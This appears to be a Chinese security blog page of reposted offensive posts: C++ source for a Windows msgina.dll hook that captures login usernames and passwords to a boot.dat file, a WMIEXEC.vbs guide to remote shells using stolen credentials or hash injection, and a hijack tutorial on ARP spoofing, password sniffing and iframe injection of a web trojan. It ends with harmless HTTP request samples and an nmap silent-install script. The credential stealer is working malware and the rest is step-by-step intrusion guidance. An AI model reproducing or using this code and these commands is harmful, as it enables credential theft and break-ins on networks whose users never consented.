    //hooktable.hMsgina  
    hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
    if ( hooktable.hMsgina == NULL)
    {
        return 0 ;
    }
    //得到WlxLoggedOutSAS
    hooktable.OldWlxLoggedOutSAS = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
    ////得到原始函数地址,等下撤销HOOK会用到 
    if (hooktable.OldWlxLoggedOutSAS == NULL)
    {
        return 0 ;
    }
    /*
    WlxLoggedOutSAS函数的入口:
    758D679B >    8BFF          mov     edi, edi
    758D679D   .  55            push    ebp
    758D679E   .  8BEC          mov     ebp, esp
    758D67A0   .  83EC 40       sub     esp, 40
    */    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    // 根据版本选择 msgina.dll WlxLoggedOutSAS入口代码
    for (int i=0 ;  i < 4 ; i++ )   // "\x8B\xFF\x55\x8B\xEC"总计5个字节
    {
        if (p[i] != hooktable.OldCode[i])  
        // 检测获取的WlxLoggedOutSAS入口数据是非与设定的数据相同[设定的是xp,2003版本]
        {
            return 0;
        }
    }
     //----------------重定位新的WlxLoggedOut入口点------------------
    int *OpCode = (int *)&hooktable.JmpCode[1];  // OpCode ---->75--[8D679B]   此处的Jmp[1]=00
    int Code = (int)hooktable.NewWlxLoggedOutSAS - (int)hooktable.OldWlxLoggedOutSAS - 5;
    // OpCode ---->75--[8D679B]   此处的Jmp[1]=00 

    *OpCode = Code;

    /*
    OpCode[0] = (BYTE)(Code & 0xff);
    OpCode[1] = (BYTE)((Code>>8) & 0xff);
    OpCode[2] = (BYTE)((Code>>16) & 0xff);
    OpCode[3] = (BYTE)((Code>>24)& 0xff);
    */

    HookWlxLoggedOutSAS();

    return 0;
}

void HookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                  */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    DWORD OldProtect = NULL;

    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        PAGE_EXECUTE_READWRITE ,
        &OldProtect
        );  //OldProtect返回一个内存属性值

    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ )
    {
        p[i] = hooktable.JmpCode[i];  //现在JmpCode相当于E9 00 00 00 00   JmpCode[i]
    }

    VirtualProtect( hooktable.OldWlxLoggedOutSAS , 
        5 ,
        OldProtect ,
        &OldProtect 
        ); //将内存属性还原.

    return;
}

void UnHookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                   */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/
{
    DWORD OldProtect = NULL;
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 , 
        PAGE_EXECUTE_READWRITE ,
        &OldProtect );
    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ ) // hook后将入口改回去
    {
        p[i] = hooktable.OldCode[i]; //hooktable[1]
    }
    
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        OldProtect ,
        &OldProtect );
    
    return;
}

void WriteLog(PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo)
/************************************************************************/  
/* 函数说明:将得到的用户名和密码信息写入文件中                       */  
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
    size_u += lstrlenW( pNprNotifyInfo->pszDomain );
    size_u += lstrlenW( pNprNotifyInfo->pszPassword );
    size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
    
    unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    char *pBuffer = (char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    
    ZeroMemory( pWBuffer  , size_u + 1024 );
    ZeroMemory( pBuffer  , size_u + 1024 ); // pWBuffer ------> pBuffer
    
    if ( !pBuffer )
    {
        return;
    }else
    {   //写进记录 八卦下,这里似乎也是可以调用socket来远程发送
        wsprintfW( pWBuffer ,
            L"\r\nUser    = %s \r\nDomain  = %s \r\nPass    = %s \r\nOldPass = %s\r\n\r\n" ,
            pNprNotifyInfo->pszUserName , //账号
            pNprNotifyInfo->pszDomain ,   //当前的组或域
            pNprNotifyInfo->pszPassword , //密码
            pNprNotifyInfo->pszOldPassword //旧密码
            );
        
        WideToByte( pBuffer ,
            pWBuffer ,
            lstrlenW( pWBuffer )
            );
    }
    char LogPath[MAX_PATH] = {0};
    GetSystemDirectory( LogPath , MAX_PATH); // 密码文件
    lstrcat( LogPath , "\\boot.dat"); //写进boot.dat里面
    HANDLE hfile = CreateFile(
        LogPath , 
        GENERIC_WRITE , 
        FILE_SHARE_WRITE ,
        0 ,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL ,
        0  );
    if (hfile != INVALID_HANDLE_VALUE)
    {
        unsigned long ret;
        SetFilePointer( hfile , -1 ,  0 , FILE_END);
        
        WriteCurrentTime( hfile );
        WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );
        
        CloseHandle( hfile );
    }else
    {
        GetLastError();
    }
    
    GlobalFree( pWBuffer );
    GlobalFree( pBuffer  );
    return; // 返回到原线程
}
//记录SAS事件的事件
void WriteCurrentTime(HANDLE hfile)
{
    SYSTEMTIME st;
    DWORD ret = 0;
    
    GetLocalTime(&st);
    char buffer[200] ={0};
    wsprintf( buffer , "\r\n%d/%d/%d/%d:%d:%d" ,
        st.wYear ,
        st.wMonth ,
        st.wDay ,
        st.wHour ,
        st.wMinute,
        st.wSecond 
        );
    WriteFile( hfile , buffer , lstrlen( buffer ) ,  &ret , 0 );
}

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
    //MessageBox(0,"WideToByte","---",MB_OK);
    return WideCharToMultiByte( CP_ACP ,
        WC_COMPOSITECHECK ,
        sz_source ,
        -1 ,
        sz_target ,
        size_ansi ,
        0 ,
        0 );
}
//================================================Hook后,预调用的函数=============================
//自定义WlxLoggedOutSAS函数,用于替换原函数,所以参数表与原函数完全一致
int WINAPI FunNewWlxLoggedOutSAS(
                 PVOID                   pWlxContext,
                 DWORD                   dwSasType,
                 PLUID                   pAuthenticationId,
                 PSID                    pLogonSid,
                 PDWORD                  pdwOptions,
                 PHANDLE                 phToken,
                 PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                 PVOID *                 pProfile
)
{
    UnHookWlxLoggedOutSAS();
    //hooktable.OldWlxLoggedOutSAS即为原WlxLoggedOutSAS函数
    int i = hooktable.OldWlxLoggedOutSAS(pWlxContext  ,
                                        dwSasType , 
                                        pAuthenticationId ,
                                        pLogonSid ,
                                        pdwOptions ,
                                        phToken ,
                                        pNprNotifyInfo,
                                        pProfile
                                        );
    if (i = WLX_SAS_ACTION_LOGON )
    {

        //MessageBoxW( 0 , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszPassword , MB_OK);
        
        WriteLog( pNprNotifyInfo );
    }
    return i;
}

extern "C" __declspec(dllexport) void __stdcall EventStartup(DWORD Parameter) // extern "C" --C不能小写
{
    //MessageBox( 0 , "开机了" , "通知你" , MB_OK );
    return;
}

extern "C" __declspec(dllexport) void __stdcall EventLogon(DWORD Parameter)
{
    //MessageBox( 0 , "登录了" , "通知你" , MB_OK );
    return;
}

 

利用WMI代替psexec——WMIEXEC.vbs

发布时间:May 1, 2015 // 分类:windows,转帖文章 // No Comments

0x01 背景

内网渗透中经常用到psexec这个工具,可以很方便的得到一个半交互式的cmd shell。

但是psexec也有一些问题:psexec需要对方开启ADMIN$共享,而且需要安装服务;另外,psexec退出时有可能服务删除失败,这个情况只是偶尔,但是我碰到过。

安装服务会留下明显的日志,而且服务没有删除的风险更大,管理员很容易就会发现。

WMI可以远程执行命令,所以我就想用VBS脚本调用WMI来模拟psexec的功能,于是乎WMIEXEC就诞生了。基本上psexec能用的地方,这个脚本也能够使用。

0x02 WMIEXEC功能

利用WMI代替psexec——WMIEXEC.vbs

WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

半交互式shell模式

提供账号密码,执行如下命令:

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

利用WMI代替psexec——WMIEXEC.vbs

这样就获得了一个半交互式的shell,这个shell和psexec的shell没什么区别。之所以称为半交互式,是因为这个shell也不能执行实时交互的命令,和psexec是一样的。

上个执行命令的图:

利用WMI代替psexec——WMIEXEC.vbs

左边是虚拟机里面执行的命令,右边是WMIEXEC里面执行的。

还可以抓取hash:

利用WMI代替psexec——WMIEXEC.vbs

单个命令执行的模式

这个模式适用于只需要执行一个命令,或者说当前的环境不是交互式shell,没法运行WMIEXEC的shell模式时(比如在webshell里面)。

  cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"

利用WMI代替psexec——WMIEXEC.vbs

上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

利用WMI代替psexec——WMIEXEC.vbs

Tips:

如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可。

0x03 原理和相关问题

整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。

当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。

比如正常的执行ping:

利用WMI代替psexec——WMIEXEC.vbs

Ping结果没有读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除

为了防止出现这种情况,于是在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果.

利用WMI代替psexec——WMIEXEC.vbs

由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。

所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写,如果执行不带任何参数的nc.exe也是这种效果

出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。

为了解决这个问题,加入了-persist选项。

当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。

这样就可以运行nc或者木马程序了。

下面是测试nc的结果:

利用WMI代替psexec——WMIEXEC.vbs

相关设定:

Const Path = "C:\"

Const FileName = "wmi.dll"

Const timeOut = 1200

这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时间的,可以自行更改

0x04 题外话:UAC的探讨

测试中发现在Server 2008以及2012中,只有Administrator账号能进行远程连接,并且psexec也是一样的情况,还有IPC连接也是。就算是管理员用户组的其他用户也不能进行远程连接。

后来发现是UAC的问题,默认UAC是开启的,这时候只有Administrator账户能够远程访问共享或者连接WMI。

利用WMI代替psexec——WMIEXEC.vbs

图中hehe是管理员用户组的用户,但是PSEXEC在连接时提示拒绝访问,WMIEXEC也是一样。

Google查到可以通过禁用UAC然后psexec就可以使用了,如何禁用参考:http://support.microsoft.com/kb/942817

禁用之后psexec可以通过hehe账户连接,但是是普通的权限,此时要加上-h选项即可获得管理员的权限。

利用WMI代替psexec——WMIEXEC.vbs

禁用UAC后WMIEXEC用hehe账户连接直接就是管理员权限

利用WMI代替psexec——WMIEXEC.vbs

值得一提的是,UAC并不会拦截域管理员,就算UAC是开启的,域管理员也可以直接连接,可以直接使用PSEXEC或者WMIEXEC。

0x05 WMIEXEC使用实例

还是用抓取server 2012域控上的hash作为例子吧,具体操作步骤就不介绍了,直接上图:

利用WMI代替psexec——WMIEXEC.vbs

利用WMI代替psexec——WMIEXEC.vbs

利用WMI代替psexec——WMIEXEC.vbs

0x06 总结

运行时间长的命令时,如ping,systeminfo之类的,记得加上-wait5000或者更久的时间选项

运行nc反弹或者木马等不需要输出结果、同时需要一直运行的程序时,一定要加上-persist选项,不然你就只能去taskkill远程结束进程了

应该还会有不少bug,大家用了有什么问题可以回帖或者直接PM

WMIEXEC.vbs: wmiexec.rar (2.97 KB)

12.15更新:

现在单命令执行模式(/cmd)也可以解析-waitTIME 和 -persist选项了,这样就可以用单命令模式运行nc或者远控

下载地址:wmiexec v1.1.rar (wmiexec v1.1.vbs)

下载地址:wmiexec v1.1.rar (wmiexec v1.1.vbs)

带ARP欺骗攻击的渗透利刃--hijack

发布时间:April 30, 2015 // 分类:工作日志,运维工作,转帖文章,windows // No Comments

ARP欺骗攻击在内网渗透中的作用是极大的,因此这里介绍一个具有ARP欺骗功能的渗透小工具hijack。这个小巧但功能强大的工具,具备各种强大的功能,可以进行远程渗透入侵。

1.上传hijack,安装嗅探组件

hijack解压后,里面有3个文件:"hijack.exe"、"winpcap.exe"和"old.exe"。其中"hijack.exe"和"winpcap.exe"是必需的。前者是程序主文件,后者是嗅探所需Winpcap数据包的自解压版本。

首先,攻击者要将hijack上传到远程主机上,可以使用远程控制木马或溢出Shell窗口进行上传,如图8-67所示。这里选择上传到C盘根目录下。

返回到远程命令控制窗口中,执行命令:

  1. dir c:\hijack.exe 

如果显示文件,则表示上传文件成功。然后执行"c:\winpcap.exe"命令,会自动解压所需的嗅探组件到系统目录下,如图8-68所示。

 
(点击查看大图)图8-67  通过木马Shell上传hijack
 
(点击查看大图)图8-68  安装winpcap嗅探协议包

在使用"hijack.exe"工具进行渗透入侵前,必须安装winpcap组件,否则会弹出错误提示,如图8-69所示。

 
(点击查看大图)图8-69  错误提示

2.查获远程网络信息

入侵控制的主机,可能是单独的一台主机,也可能位于某个网络中;主机上可能只安装了一块网卡,也可能安装了多块网块--全面地了解远程主机上的网络信息是进一步渗透入侵攻击前所必需的。

在远程控制木马的命令控制窗口中,执行命令:

  1. hijack /L 

可以看到远程主机上网卡的设备名、IP地址、MAC物理地址和子网掩码等各种网络信息,如图8-70所示。其中,比较重要的是"idx"列显示的信息,也就是网卡索引号。如果是单网卡,那么网卡索引号为1。

现在要扫描远程主机子网中所有的主机IP地址,命令格式为:

  1. hijack exe -d 网卡索引号 /s 

由于是单网卡,可以直接执行命令:

  1. hijack -d 1 /s 

可以从远程主机所在的子网中扫描并显示所有主机的IP地址,以及其网卡的MAC物理地址。这里可以看到,在子网中有3台主机,如图8-71所示。

 
(点击查看大图)图8-70  查看服务器网络信息
 
(点击查看大图)图8-71  扫描远程内部网络

3.嗅探子网主机的密码

在进行渗透入侵时,嗅探具有非常重要的作用,尤其是在入侵网站服务器网络时。利用嗅探,可以获得子网中其他主机的管理员密码,或者是网站登录密码、邮箱或FTP登录密码等。

1)嗅探数据库的密码

例如,控制网站服务器主机内网的IP地址是"192.168.1.8",在子网中另一台主机的IP地址是"192.168.1.10",该主机是网站的数据库服务器。攻击者想获得数据库的连接密码,可以嗅探主机"192.168.1.6"的所有网络连接数据。

在远程控制木马的命令控制窗口中,执行嗅探命令(见图8-72):

 
(点击查看大图)图8-72  嗅探主机密码

 

  1. hijack -d 1 -O pass.log 192.168.1.*  
  2.     192.168.1.10 

该命令可以嗅探所有"192.168.1.*"网段的主机与数据库服务器"192.168.1.6"之间的网络信息数据,并从中捕获密码,保存在"pass.log"文件中。

也可以直接使用如下命令:

  1. hijack -d 1 -O pass.log 192.168.1.*  192.168.1.1 

嗅探所有主机与网关服务器之间的数据交换,从而获得其登录密码并直接从外网登录网关。

以上命令,只是进行单向嗅探,我们也可以添加参数"-f"进行双向嗅探,命令格式如下:

  1. hijack -d 1 -f -O pass.log 192.168.1.*  192.168.1.10 

另外,我们也可以设置嗅探指定协议的密码,如嗅探FTP密码,可执行命令:

  1. hijack -d 1 -r -f -O pass.log 192.168.1.*  
    192.168.1.10 "USER|PASS" "tcp and dst port 21" 

要嗅探常见的HTTP密码,可执行命令:

  1. hijack -d 1 -r -f -O pass.log 192.168.1.* 
    192.168.1.10 "
    username=|password=" "tcp  and dst port 80" 

8.4.3 带ARP欺骗攻击的渗透利刃--hijack(2)

2)查看嗅探数据

执行了后台嗅探后,嗅探的结果会保存在远程主机上。显示嗅探结果的命令为:

  1. hijack.exe -I pass.log 

执行命令后,就可以看到嗅探记录文件中保存的所有嗅探数据了,如图8-73所示,通过分析查看即可获得密码。

 
(点击查看大图)图8-73  显示嗅探结果

3)IP地址欺骗攻击,突破内网连接限制

通过前面嗅探到的密码可以进行远程连接,以控制子网中的其他主机。但是这些子网中的主机,往往通过防火墙或其他方式设置了连接限制,只允许与指定IP地址的主机进行连接,此时可以通过hijack的IP地址欺骗功能来渗透入侵连接受限制的主机。

这里假设在子网内某台计算机公网的IP地址为"202.98.198.33",该主机设置了IP地址限制,只允许IP地址"202.98.198.77"访问,而攻击者本机的IP地址是"202.172.68.12",如果想入侵这台连接受制限的主机,可以执行命令(见图8-74):

  1. hijack -d 1 -z 202.98.198.33 202.98.198.
    1 202.172.68.12 202.98.198.77 
 
(点击查看大图)图8-74  IP地址欺骗

其中,"202.98.198.1"是该网段的网关IP。执行该命令后,攻击者就可以突破IP地址限制,连接上原本受限制的主机了。

4)ARP欺骗攻击

在渗透入侵攻击中,如果无法进行嗅探,或者难以突破内网与外网,那么ARP欺骗攻击就可以大显身手了。hijack的ARP欺骗攻击可以在子网内其他主机与网关的数据交换中,任意添加修改网络数据,以达到挂马攻击的目的。

例如,已经有了一个网页木马,地址为"http://www.binghexijian.com/1.htm",要想让子网中的其他主机,在浏览任何网页时都被网页木马攻击,可以进行如下的ARP欺骗攻击操作。

(1)编写规则文件。打开记事本,编写如下内容的文本文件:

  1. ----  
  2. HTML> 
  3. ----  
  4. <iframe src=http://www.binghexijian.com/1.
    htm 
    width=0 height=0>iframe>HTML> 

将文件保存为"job.txt",然后上传到远程主机与hijack所在的文件夹下,该文件作为ARP欺骗规则文件。

(2)实施ARP欺骗攻击。在远程命令控制窗口中,执行如下命令(见图8-75):

 
(点击查看大图)图8-75  成功进行ARP欺骗攻击
  1. hijack -d 1 -v -p 80 -S 100 -F job.txt  
  2.     192.168.1.1 192.168.1.* 

命令执行后即可对子网内的所有主机进行ARP欺骗攻击了。当子网中的所有主机访问任意网页时,能够正常打开网页。但是,网页中会被嵌入网页木马,从而被木马攻击。

除了上面的攻击实例外,hijack还可以进行HTTP会话捕获、DNS欺骗、网速限制和跨网段欺骗等强大的渗透攻击功能,我们可以直接执行"hijack -h"命令来查看其详细的命令帮助信息。

 

下载地址

C++ 简单实现HTTP GET/POST 请求

发布时间:April 28, 2015 // 分类:工作日志,linux,代码学习,VC/C/C++,windows,转帖文章 // No Comments

HTTP(超文本传输协议)是一种客户端与服务端的传输协议,最早用于浏览器和服务器之间的通信,后来因为其使用灵活、方便等特点,广泛用于客户端与服务端的通信。文章将简单介绍HTTP协议,同时以C++方式分别实现HTTP GET、POST 请求

HTTP 请求报文

HTTP请求报文的一般格式由4部分组成:请求行、请求头部、空行、请求数据。如下图所示:

请求行:包含3部分内容:请求方法,URL,协议版本。形式如:GET /?aaa=1 HTTP/1.1。请求方法有GET、POST、HEAD、PUT、DELETE、OPTIONS等。URL指请求服务端的地址,可以是相对地址或域名形式的绝对地址。协议版本主要有HTTP/1.1 HTTP/1.0 HTTP/0.9,后面两种已很少使用了。

请求头部:以key/value形式成对表示头部参数,以英文冒号分隔。key名称的约定写法为Key,Key-Name,自定义key名称一般以“X-”开头。如php的声明“X-Powered-By:PHP/5.5.4-1”

空行:用来标识请求头部的数据已结束。

请求数据:可选项,这块内容只在POST方式下使用,作为POST的数据表示区域。使用这块内容,要在请求头部以Content-Length声明请求数据长度,以Content-Type声明请求数据类型。

C++ 实现HTTP POST请求

HTTP POST方式是把请求参数放到HTTP请求报文的请求数据中,为了让例子更容易看懂,仅保留HTTP Post关键参数,你还可以自定义一些参数,比如浏览器喜欢用的User-Agent,Accept,Connection等等

char *pHttpPost = "POST %s HTTP/1.1\r\n"  
    "Host: %s:%d\r\n"  
    "Content-Type: application/x-www-form-urlencoded\r\n"  
    "Content-Length: %d\r\n\r\n"  
    "%s";  
  
char* addr = "http://localhost/post.php";  
char* host = "127.0.0.1";  
int port = 80;  
char* msg = "aaa=1&bbb=2";  
  
char strHttpPost[1024] = {0};  
sprintf(strHttpPost, pHttpPost, addr, host, port, strlen(msg), msg);  
  
//这里忽略掉了socket连接代码  
  
send(sockClient, strHttpPost, strlen(strHttpPost), 0);  

C++ 实现HTTP GET请求

HTTP GET方式是把请求参数放到HTTP请求报文的请求行URL中,所以请求行就是“GET /?aaa=1&bbb=2 HTTP/1.1\r\n”。URL最大长度通常浏览器取255,这和文件路径最大长度有关。虽然HTTP允许更大长度,但不建议怎么做,如果太长了,可以考虑换成POST方式

char *pHttpGet = "GET %s?%s HTTP/1.1\r\n"  
    "Host: %s:%d\r\n\r\n";  
  
char* addr = "http://localhost/get.php";  
char* host = "127.0.0.1";  
int post = 80;  
char* msg = "aaa=1&bbb=2";  
  
char strHttpGet[1024] = {0};  
sprintf(strHttpGet, pHttpGet, addr, msg,  host, post);  
  
//这里忽略掉了socket连接代码  
  
send(sockClient, strHttpGet, strlen(strHttpGet), 0);  

 

Windows无界面非交互shell下安装nmap脚本

发布时间:April 26, 2015 // 分类:windows,转帖文章 // No Comments

有时候由于防火墙的原因只能通过80或1433等其他非交互的环境连接内网机器,而此时你又想探测一下内网的其他机器或是对外扫描所有端口来探测一下防火墙放行的端口这个时候nmap就是一个不二的选择。

   Nmap需要Winpcap和Vc库的支持,但Winpcap又必须在窗口界面下安装。最简单的办法就是写个程序发送窗口句柄事件,但这样就会不够灵活等我安装Cain的时候又得写一个。于是就用vbs写了一个脚本,修改起来比较方便。

WScript.Echo "Nmap install script. @b4dboy"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "winpcap-nmap-4.12.exe"
WScript.Sleep 100
WshShell.AppActivate "WinPcap (Nmap) 4.1.2 Setup "
WScript.Sleep 100
WshShell.SendKeys "%A"
WScript.Sleep 2500
WshShell.SendKeys "%N"
WScript.Sleep 500
WshShell.SendKeys "%N"
WScript.Sleep 500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 500
WScript.Echo ""
WScript.Echo "WinPcap install finished"
WshShell.Run "vcredist_x86.exe /q"
WScript.Sleep 2500
WScript.Echo "Vcredist_x86 install finished"
WshShell.Run "vcredist2008_x86.exe /q"
WScript.Sleep 2500
WScript.Echo "Vcredist2008_x86 install finished"


测试环境:windows 2003 + nmap-6.40

from:http://www.secoff.net/archives/155.html